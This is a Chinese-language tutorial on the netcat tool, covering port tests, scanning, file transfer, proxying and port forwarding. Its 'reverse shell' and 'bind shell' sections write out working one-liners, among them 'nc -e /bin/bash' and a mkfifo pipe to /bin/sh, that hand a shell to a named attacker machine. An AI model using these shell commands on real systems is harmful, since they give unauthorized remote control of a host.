nc
(netcat)是Linux中强大的网络工具,被誉为"网络瑞士军刀",可用于TCP/UDP连接、端口扫描、文件传输等。以下是详细使用指南:
TCP端口测试(模拟Telnet)
nc -v 192.168.1.100 80 # 测试目标主机的80端口
-v
:显示详细输出UDP端口测试
nc -u -v 192.168.1.100 53 # 测试DNS服务(UDP 53)
nc -zv 192.168.1.100 20-30 # 扫描20到30端口
-z
:无数据传输(快速扫描)-w 2
:设置超时2秒(默认无超时)发送文件(接收方先监听)
# 接收方(监听9999端口保存文件)
nc -l -p 9999 > received_file.tar.gz
# 发送方
nc -N 192.168.1.100 9999 < file_to_send.tar.gz
-N
:发送完成后关闭连接(避免挂起)目录传输(结合tar)
# 发送整个目录
tar czf - /path/to/dir | nc -l -p 9999
# 接收方
nc 192.168.1.100 9999 | tar xzvf -
反弹Shell(慎用!)
# 目标机(主动连接攻击机)
nc -e /bin/bash 192.168.1.200 4444
# 攻击机监听
nc -lvp 4444
bash
mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.1.200 4444 >/tmp/f
绑定Shell
# 目标机(风险高!)
nc -lvp 5555 -e /bin/bash
# 攻击机连接
nc 192.168.1.100 5555
HTTP请求
echo -e "GET / HTTP/1.1\nHost: example.com\n\n" | nc example.com 80
代理跳板
nc -x proxy_ip:1080 -X 5 target_ip 80 # SOCKS5代理
端口转发
nc -l -p 8080 -c "nc 192.168.1.100 80"
加密替代方案:
ncat
(来自nmap项目,支持SSL)
bash
ncat --ssl -lvp 443
bash
ssh -L 9999:localhost:80 user@jumpserver
防火墙配置:
iptables -A INPUT -p tcp --dport 9999 -j DROP # 阻止nc端口
nc: command not found
# Debian/Ubuntu
sudo apt install netcat-openbsd
# RHEL/CentOS
sudo yum install nc
不同版本差异:
netcat-traditional
:使用-p
指定监听端口ncat
:支持更多协议(如SSL)场景 | 命令示例 |
---|---|
快速测试邮件服务 | nc -zv smtp.example.com 25 |
调试Memcached | echo "stats" | nc 127.0.0.1 11211 |
检查Redis | echo "PING\r\n" | nc 127.0.0.1 6379 |
简易聊天室 | nc -l -p 9999 (A端)→ nc 对方IP 9999 (B端) |
掌握这些技巧后,你可以灵活应对各种网络调试场景。生产环境中建议使用更安全的替代工具(如ncat
或ssh
)。